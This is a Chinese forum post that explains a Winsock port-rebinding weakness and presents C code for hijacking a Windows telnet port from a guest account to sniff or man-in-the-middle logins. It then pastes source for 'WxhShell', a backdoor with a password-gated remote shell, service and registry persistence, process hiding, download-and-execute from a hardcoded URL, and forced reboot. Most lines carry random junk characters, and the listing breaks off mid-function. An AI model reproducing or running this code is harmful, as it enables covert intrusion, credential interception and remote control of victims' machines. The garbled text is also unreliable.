社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10316阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L[r0UXYLV  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K2 K6  
4_0/]:~5  
  saddr.sin_family = AF_INET; f\r4[gU@  
[ .uaO  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); vFC=qLz:  
M`fXH 3D  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /lQ0`^yB  
v/+}FS=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2(J tD  
VEKITBs  
  这意味着什么?意味着可以进行如下的攻击: :k/U7 2  
{u6fa>R&$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6|qvo+%  
Y4!q 1]TGX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I>o; %}  
<n#V  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 v4~Xv5|w^F  
_W@Fk)E6N  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =/!S  
aDv/kFfn  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?,DbV|3 _\  
X0QS/S-+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 J15T!_AW<  
v+bjC  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Y8{1?LO  
fQ4$@  
  #include $<mL2$.L~  
  #include $uB(@Ft.  
  #include  CyDf[C)=  
  #include    lfeWtzOf  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4EbiCSo  
  int main() ^Es)?>eah  
  { <OfzE5  
  WORD wVersionRequested; c7!`d.{90  
  DWORD ret; Cbvl( (  
  WSADATA wsaData; A0u:Fm{E  
  BOOL val; w=o m7%J@l  
  SOCKADDR_IN saddr; -\C6j  
  SOCKADDR_IN scaddr; ,#OG/r-H  
  int err; `~TGVa`D  
  SOCKET s; *tPY  
  SOCKET sc; y'/9KrV T  
  int caddsize; CoXL;\  
  HANDLE mt; IOqyqt'  
  DWORD tid;   XPTB,1g+f  
  wVersionRequested = MAKEWORD( 2, 2 ); G_4P)G3H  
  err = WSAStartup( wVersionRequested, &wsaData ); l #z`4<  
  if ( err != 0 ) { =@XR$Uud6  
  printf("error!WSAStartup failed!\n"); 5D*V%v  
  return -1; EQO7:vb  
  } *3($s_r>  
  saddr.sin_family = AF_INET; )/N! {`.9  
   Mg/2 w  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u Aa>6R  
7Apbi}")  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "T=LHjE  
  saddr.sin_port = htons(23); UF&Wgj [  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R)Fl@ Tn  
  { :''0z  
  printf("error!socket failed!\n"); K L~sEli  
  return -1; P~Owvs/=  
  } kcUt!PL  
  val = TRUE; YU(x!<Z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _>64XUZ<n  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Q3Lqj2r  
  { XX6)(  
  printf("error!setsockopt failed!\n"); *.l=> #qF  
  return -1; ka%pS  
  } ox#4|<qM  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $, 42h  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kA`qExw%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 d^^>3L!h  
Lr&BZM  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }C#d;JC  
  { k"zHrn"$  
  ret=GetLastError(); YaNVpLA  
  printf("error!bind failed!\n"); <qx-%6  
  return -1; C( ;7*]  
  } b6BIDuRb  
  listen(s,2); J?$uNlI  
  while(1) 42LV>X#i  
  { 6d8  
  caddsize = sizeof(scaddr); SUhP e+  
  //接受连接请求 ,Z"sh*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /VkJ+%}+j  
  if(sc!=INVALID_SOCKET) s:P-F0q!&  
  { o*'3N/D~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); WU_Q 7%+QS  
  if(mt==NULL) 8+F2 !IM  
  { v8N1fuP}  
  printf("Thread Creat Failed!\n"); DLZ63'  
  break; 6}2Lt[>O  
  } g'E^@1{  
  } VZR6oia  
  CloseHandle(mt); !>j- j  
  } >=Veu; A  
  closesocket(s); 0IuU4h5Fr  
  WSACleanup(); ly+7klQ;.  
  return 0; B4=gMVp1  
  }   enM 3  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6m&I_icM  
  { J( 60eTwQ  
  SOCKET ss = (SOCKET)lpParam; VF.S)='>Eu  
  SOCKET sc; 2=RDAipf59  
  unsigned char buf[4096]; Jo]g{GX[  
  SOCKADDR_IN saddr; n2~rrQ \/p  
  long num; UqbE  
  DWORD val; %+}\i'j7  
  DWORD ret; -xlI'gNg7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9'M({/7y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   qm@hD>W+  
  saddr.sin_family = AF_INET; ` (<>`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); d"a`?+(Q  
  saddr.sin_port = htons(23); &#.&xc2sRZ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j!pxG5%  
  { @P/{x@J  
  printf("error!socket failed!\n"); o? =u#=  
  return -1; SZEr  
  } u#QQCgrs  
  val = 100; #=rI[KI  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $ a7^3  
  { hQO~9mQ+!  
  ret = GetLastError(); >n/QKFvV5  
  return -1; +H_Z!T.@  
  } nS#;<p$\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X8<ygci+.5  
  { TkykI  
  ret = GetLastError(); pQD8#y)`C  
  return -1; h#>67gJV  
  } JaEyVe  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8dfx _kY`/  
  { 3:RZ@~u=  
  printf("error!socket connect failed!\n"); iC">F.9#  
  closesocket(sc); 6|9fcIh]B  
  closesocket(ss); dc* #?G6^  
  return -1; ;(A'XA4 6N  
  } 4e4$AB"  
  while(1) $!t!=  
  { KT}}=st%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X |as1Y$O+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 q4E{?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3D3K:K!FK  
  num = recv(ss,buf,4096,0); )xU70:X  
  if(num>0) G[<iVt$y  
  send(sc,buf,num,0); TG($l2  
  else if(num==0) <K~#@.^`  
  break; |<S9nZg%p  
  num = recv(sc,buf,4096,0); (fl2?d5+C  
  if(num>0) rmhB!Lo  
  send(ss,buf,num,0); ;X>KP,/r$  
  else if(num==0) /D~:Ufw  
  break; Vs(;al'  
  } yl*S|= 8;k  
  closesocket(ss); U i;o/Z3  
  closesocket(sc); 4V=dD<3m  
  return 0 ; h&XyMm9C  
  } t}K?.To$  
=+u$ZZ0+]o  
l#%w,gX  
========================================================== na~ r}7 7o  
/lUb9&yV  
下边附上一个代码,,WXhSHELL ,}[,]-nVx  
^I^k4iw 4  
========================================================== !#3R<bW`R8  
*+iWB_  
#include "stdafx.h" [@(zGb8  
|h;MA,qva  
#include <stdio.h> FD8aO?wvg  
#include <string.h> E+_ }8J .  
#include <windows.h> "8N]1q:$4  
#include <winsock2.h> -?ip?[Z  
#include <winsvc.h> 5p750`n  
#include <urlmon.h> dW91nTQ:  
E: %%Dm  
#pragma comment (lib, "Ws2_32.lib") A%Ao yy4E  
#pragma comment (lib, "urlmon.lib") NLj0\Pz|B  
Z#0z#M`  
#define MAX_USER   100 // 最大客户端连接数 15870xS  
#define BUF_SOCK   200 // sock buffer  ^rI&BN@S  
#define KEY_BUFF   255 // 输入 buffer 6oC(09  
C>LkU|[  
#define REBOOT     0   // 重启 \Ew2@dF{O  
#define SHUTDOWN   1   // 关机 0tA+11Iu  
7XZ!UC;i  
#define DEF_PORT   5000 // 监听端口 UOq$88sr  
*Owq_)_ (|  
#define REG_LEN     16   // 注册表键长度 UO</4WJ  
#define SVC_LEN     80   // NT服务名长度 K[sfsWQ.  
y- g5`@  
// 从dll定义API &u8BGMl2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <yeG0`}t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :R _(+EK1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pNDL:vMWP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); upWq=_  
 B} :[~R'  
// wxhshell配置信息 K,J:i^2  
struct WSCFG { ~;{)S}U@R  
  int ws_port;         // 监听端口 \wM r[_LW  
  char ws_passstr[REG_LEN]; // 口令 H>VuUH|  
  int ws_autoins;       // 安装标记, 1=yes 0=no S\Q/ "Y  
  char ws_regname[REG_LEN]; // 注册表键名 g5H+2lSC  
  char ws_svcname[REG_LEN]; // 服务名 e+S%` Sg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jA6:-Gz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Pocm.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DBOz<|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .@R{T3 =Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $g*|h G/{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xl s_g/Q  
R# gip  
}; )wAqaG_d  
x3]es"4Q  
// default Wxhshell configuration aRR*<dY  
struct WSCFG wscfg={DEF_PORT, zK33.HY  
    "xuhuanlingzhe", #b:8-Lt:M  
    1, D=e&"V a  
    "Wxhshell", ^>[Z~G($  
    "Wxhshell", RXh/[t+  
            "WxhShell Service", bA1uh]oB  
    "Wrsky Windows CmdShell Service", XjWoUnz  
    "Please Input Your Password: ", WPLAh_fe  
  1, JVU:`BH  
  "http://www.wrsky.com/wxhshell.exe", *V>Iv/(  
  "Wxhshell.exe" U<*ZY`B3  
    }; ;/$zBr`'  
Cdc6<8  
// 消息定义模块 1}9@aKM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D guAeK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eEXer>Rm   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q[S""P.Z|  
char *msg_ws_ext="\n\rExit."; ><dSwwu  
char *msg_ws_end="\n\rQuit."; EI]NOG 0  
char *msg_ws_boot="\n\rReboot..."; ']>@vo4kK{  
char *msg_ws_poff="\n\rShutdown..."; J v'$6[?  
char *msg_ws_down="\n\rSave to "; z6$W@-Vd  
[|e7oNT(Q  
char *msg_ws_err="\n\rErr!"; {p+7QlgK  
char *msg_ws_ok="\n\rOK!"; Ly lw('zZ  
J'|qFS  
char ExeFile[MAX_PATH]; ](:aDHa  
int nUser = 0; q*,];j/>k  
HANDLE handles[MAX_USER]; YcT!`B   
int OsIsNt; rE EWCt  
UuW"  
SERVICE_STATUS       serviceStatus; }_Jr[iaB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h0L *8P`t  
hQvSh\p  
// 函数声明 l$z\8]x  
int Install(void); ggfL d r  
int Uninstall(void); ?u"MsnCXYn  
int DownloadFile(char *sURL, SOCKET wsh); 9PIm/10pP^  
int Boot(int flag); 8NWvi%g  
void HideProc(void); 94LFElE3  
int GetOsVer(void); '*|Wi}0R  
int Wxhshell(SOCKET wsl); 4l560Fb'U  
void TalkWithClient(void *cs); L@XhgQ  
int CmdShell(SOCKET sock); b&. o9PV"  
int StartFromService(void); /X {:~*.z  
int StartWxhshell(LPSTR lpCmdLine); =EgiV<6vcH  
C|8.$s<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J[ du>1D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s9?klJg  
a=T_I1  
// 数据结构和表定义 aovRm|aOo'  
SERVICE_TABLE_ENTRY DispatchTable[] = }>>lgW>n,;  
{ P'xq+Q  
{wscfg.ws_svcname, NTServiceMain}, v=$v*W  
{NULL, NULL} ]z;%%'gW6  
}; p=V (_  
vE^Hk!^  
// 自我安装 L]I)E` s  
int Install(void) 5v<BB`XWp  
{ C A VqjT7  
  char svExeFile[MAX_PATH]; y4^6I$M7V  
  HKEY key; qQv?J]l  
  strcpy(svExeFile,ExeFile); :D`ghXj  
1$]4g/":o  
// 如果是win9x系统,修改注册表设为自启动 Ol"*(ea-TX  
if(!OsIsNt) { 615, P/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bzz=8n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IDyf9Zra?  
  RegCloseKey(key); )<nr;n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !c(B c^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3V>2N)3`A  
  RegCloseKey(key); 1-!u=]JDE  
  return 0; :''^a  
    } ~m2tWi@  
  } "9:1>Gr{G  
} # XE`8$  
else { E=+v1\t)]  
a=>PGriL  
// 如果是NT以上系统,安装为系统服务 Ew~piuj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,Y6Me+5B  
if (schSCManager!=0) v,#*%Gn`%  
{ =yJJq=!  
  SC_HANDLE schService = CreateService >vF=}1_L  
  ( X`YAJG  
  schSCManager, B[w~bW|K  
  wscfg.ws_svcname, p)NhV  
  wscfg.ws_svcdisp, WLqwntzk  
  SERVICE_ALL_ACCESS, %{Ez0XwGCn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S7vT=  
  SERVICE_AUTO_START, $y S7u  
  SERVICE_ERROR_NORMAL, ~_OtbNj#  
  svExeFile, zZE 2%fqM  
  NULL, R/&Bze  
  NULL, ,{!~rSq-l  
  NULL, 4RTuy+ M  
  NULL, A8Tq2]"* S  
  NULL Ju4={^#  
  ); Lwm2:_\_b  
  if (schService!=0) cPZD#";f  
  { )>abB?RZ  
  CloseServiceHandle(schService); o[pv.:w  
  CloseServiceHandle(schSCManager); ~OO&%\$k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  [R:\  
  strcat(svExeFile,wscfg.ws_svcname); {L^b['h@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K"B2 SsC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \q(DlqTqs  
  RegCloseKey(key); H}5zKv.T  
  return 0; k\rzvo=U  
    } /X>Fn9 mM  
  } Pi7vuOJr8  
  CloseServiceHandle(schSCManager); pV bgjJI  
} W=fs"<  
} xO"fg9a  
(lBgW z  
return 1; ASME~]]?  
} s=9gp$9m  
tp"dho  
// 自我卸载 `&]<_Jc1  
int Uninstall(void) bAS('R;4  
{ oVk*G  
  HKEY key; '_!j9A]g  
Q[+&n*  
if(!OsIsNt) { <J" 7ufHSQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XG2&_u&  
  RegDeleteValue(key,wscfg.ws_regname); frV *+  
  RegCloseKey(key); ^|-*amh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X=$WsfN.h  
  RegDeleteValue(key,wscfg.ws_regname); UZ#Yd|'PD  
  RegCloseKey(key); 0*0]R C5?  
  return 0; p(dJf&D  
  } *;b.x"  
} z9OhY]PPF  
} )bN|*Bw3  
else { FrXFm+8 F  
;T6{J[ h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U"\$k&  
if (schSCManager!=0) )pELCk  
{ 6apK]PT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7 $AEh+f  
  if (schService!=0) ernZfd{H  
  { ')ZxWYT O^  
  if(DeleteService(schService)!=0) { v|r\kr k  
  CloseServiceHandle(schService); rS1mBrqD  
  CloseServiceHandle(schSCManager); T*YbmI]4  
  return 0; c 4Q{  
  } <5rs~  
  CloseServiceHandle(schService); #m yiZL %  
  } &s m7R i  
  CloseServiceHandle(schSCManager); HRP4"#9R  
} ]*b}^PQM^  
} 78a!@T1#  
`\!oY;jk  
return 1; R&Mv|R   
} .<ux Z  
=D88jkQe"  
// 从指定url下载文件 /HCd52  
int DownloadFile(char *sURL, SOCKET wsh) rw> X JE  
{ IO/%X;Y_  
  HRESULT hr; 9gFb=&1k  
char seps[]= "/"; pdCn98}%-  
char *token; 'wh2787  
char *file; 5m2`$y-nb  
char myURL[MAX_PATH]; fT)u`voE,  
char myFILE[MAX_PATH]; ia=eFWt.  
i$MYR @  
strcpy(myURL,sURL); \GA6;6%Oo  
  token=strtok(myURL,seps); LvP{"K;   
  while(token!=NULL) |KSd@   
  { Fh  t$7V  
    file=token; Z#H] yG  
  token=strtok(NULL,seps); q:2Vw`g'  
  } 9v[cy`\  
 cTpmklq  
GetCurrentDirectory(MAX_PATH,myFILE); /B>p.%M[&  
strcat(myFILE, "\\"); 8$Igo$U-  
strcat(myFILE, file); FCO5SX#-g  
  send(wsh,myFILE,strlen(myFILE),0); 7+^9"k7  
send(wsh,"...",3,0); GMc{g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |.kYomJ   
  if(hr==S_OK) Hj&mwn]  
return 0; pPr/r& r  
else rHhn)m  
return 1; ] Tc!=SV  
H"v3?g`S%  
} |0!oSNJ  
7)Zk:53]  
// 系统电源模块 /58]{MfrJ  
int Boot(int flag) q:Lw!'Z h  
{ N^i<A2'6S;  
  HANDLE hToken; r2:n wlG  
  TOKEN_PRIVILEGES tkp; Ec !fx\  
GS),rNBur  
  if(OsIsNt) { > Y7nq\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BLc&q)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GL4-v[]6I  
    tkp.PrivilegeCount = 1; a`SQcNBf*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dOm`p W^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z.9 ?u;  
if(flag==REBOOT) { aDJ\%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lgR;V]^YX  
  return 0; }` &an$Mu  
} wPhN_XV  
else { ,SEC~)L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {P'TtlEp  
  return 0; tnx)_f  
} 'k|?M  
  } v9Kx`{1L  
  else { '2`MT-  
if(flag==REBOOT) { Y6LoPJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?~G D^F  
  return 0; X6_m&~}15  
} UdBP2lGd  
else { \9[_*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }jj@A !N  
  return 0; S@Rw+#QE  
} -w8c;5X  
} 8Lm}x_  
8 1Ar.<  
return 1; AGwFD  
} /SLAg&  
e_Cns&  
// win9x进程隐藏模块 HS1Gy/6'  
void HideProc(void) ;Od;q]G7L  
{ a3o4> 9  
hg8gB8Xq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t\[aU\4-7  
  if ( hKernel != NULL ) uXxc2}  
  { ^1d"Rqtv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QBi&Q%piy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lTNfTO^  
    FreeLibrary(hKernel); B~p` 3rC  
  } "2cJ'n/L  
d'1 L#`?  
return; AEjkqG4qv  
} ts2;?`~  
&r0b~RwUv  
// 获取操作系统版本 ~N</;{}fL4  
int GetOsVer(void) L%D:gy9o  
{ RS`]>K3t  
  OSVERSIONINFO winfo; l=jfgsjc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^QX3p,Y  
  GetVersionEx(&winfo); WM8 Ce0E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W'2a1E  
  return 1; $6p_`LD0  
  else n0o'ns  
  return 0; \k6Ho?PL  
} +.i?UHNB  
d1=kHU4_9  
// 客户端句柄模块 E1,Sr?'  
int Wxhshell(SOCKET wsl) y  @&Cn  
{ rh;@|/<l  
  SOCKET wsh; )"j)9RQ}  
  struct sockaddr_in client; fX)C8J^=G  
  DWORD myID; [K2\e N~g  
k0;ND  
  while(nUser<MAX_USER) } Qjp,(ye  
{ 76i)m!  
  int nSize=sizeof(client); h> K~<BAz'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); IvLo&6swW  
  if(wsh==INVALID_SOCKET) return 1; -Fcg}\9  
Y6(I %hE`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X2 {n&K  
if(handles[nUser]==0) 7%aaqQ1T  
  closesocket(wsh); &<</[h/B/F  
else ~T<yp  
  nUser++; EC6&#)g;CO  
  }  Lb# e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #&+0hS  
{Mt4QA5iZ  
  return 0; ;g[C=yhK`C  
} ?A|8J5E V  
rDNz<{evj  
// 关闭 socket A?{ X5` y  
void CloseIt(SOCKET wsh) _*b1]<  
{ y=!"++T]B<  
closesocket(wsh); p1B~:9y9X  
nUser--; ]<z4p'F1%  
ExitThread(0); [da,SM  
} 1(V>8}zn  
B7"/K]dR:  
// 客户端请求句柄 ?`+46U%  
void TalkWithClient(void *cs) P.bBu  
{ cnm&o C 6  
:Mz$~o<  
  SOCKET wsh=(SOCKET)cs; S1Q2<<[  
  char pwd[SVC_LEN]; \79KU   
  char cmd[KEY_BUFF]; q$vATT  
char chr[1]; S4RvWTtQV  
int i,j; m&)5QX  
L(tA~Z"k  
  while (nUser < MAX_USER) { _= RA-qZ"  
_is<.&f6  
if(wscfg.ws_passstr) { 74*1|S <  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }]w/`TF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r3X|*/  
  //ZeroMemory(pwd,KEY_BUFF); as\6XW$;Q  
      i=0; 7.4Q  
  while(i<SVC_LEN) { \VL[,z=q.  
R["2kEF  
  // 设置超时 (17%/80-J  
  fd_set FdRead; ?haN ;n6'  
  struct timeval TimeOut; Y40Hcc+Fx  
  FD_ZERO(&FdRead); +hdD*}qauC  
  FD_SET(wsh,&FdRead);  |*079v  
  TimeOut.tv_sec=8; [t55Kz*cD  
  TimeOut.tv_usec=0; 5ru&In&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C2GF N1i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I8r5u=PH  
H"PnX-fGN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a\an  
  pwd=chr[0]; ..yuEA  
  if(chr[0]==0xd || chr[0]==0xa) { &Mz3CC6  
  pwd=0; y7#$:+jQv  
  break; zNT~-  
  } y(&JE^GfX  
  i++; 2.)@u~^Q  
    } T:+%3+;a  
F"O{eK0T  
  // 如果是非法用户,关闭 socket +W+O7SK\y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #W#GI"K  
} ;Ab`b1B  
*ayn<Vlh`^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mQt';|X@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %1ofu,%  
h4C DZ  
while(1) { r(`;CY]@  
(p<QRb:&Z  
  ZeroMemory(cmd,KEY_BUFF); D8P<mIu}Y  
JpN]j`  
      // 自动支持客户端 telnet标准   l,}{Y4\G  
  j=0; KE\p|Xi  
  while(j<KEY_BUFF) { eCB(!Y|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a p-\R  
  cmd[j]=chr[0]; $"[1yQ<p  
  if(chr[0]==0xa || chr[0]==0xd) { P+pL2BA  
  cmd[j]=0; mIVnc`3s  
  break; *z4n2"<l  
  } qM F'&  
  j++; '$u3i #. \  
    } 1Sox@Ko  
E@\e37e  
  // 下载文件 X%"P0P  
  if(strstr(cmd,"http://")) { uG2(NwOL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); CC 1\0$ /  
  if(DownloadFile(cmd,wsh)) eUvIO+av  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wH1 E7LY|R  
  else `<IT LT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <1[WNj2[  
  } Q g=k@  
  else { z'a#lA.$}  
G)\s{qk  
    switch(cmd[0]) { c;_GZ}8  
  xQ4D| &  
  // 帮助 g|*2O}<  
  case '?': { QjETu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iMRb` \KH  
    break; K 1>.%m  
  } %]%.{W\j3  
  // 安装 \&\_[y8U  
  case 'i': { BQVpp,]  
    if(Install()) Mw!?2G[|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ P\3XSR  
    else Eq zS={Olj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J{' u  
    break; 5VIpA  
    } ]#]m_+} Z  
  // 卸载 Saa# Mj`M  
  case 'r': { \dj&4u3  
    if(Uninstall()) AfKJa DKf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~[XDK`B  
    else 2<}^m/}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q[{q3-W  
    break; /km^IH  
    } s~ Wjh7'  
  // 显示 wxhshell 所在路径 ,>CFw-Nxu  
  case 'p': { $Ch!]lJA  
    char svExeFile[MAX_PATH]; \UFno$;mA  
    strcpy(svExeFile,"\n\r"); h.c<A{[I6c  
      strcat(svExeFile,ExeFile);  r(pp =  
        send(wsh,svExeFile,strlen(svExeFile),0); KL]K< A  
    break; jLC,<V*  
    } P<GY"W+r R  
  // 重启 NL&(/72V  
  case 'b': { uyP)5,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /6}4<~~4TA  
    if(Boot(REBOOT)) ?RGL0`Lg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GutH}Kz"&  
    else { yA*~O$~Y  
    closesocket(wsh); 2|F.JG^  
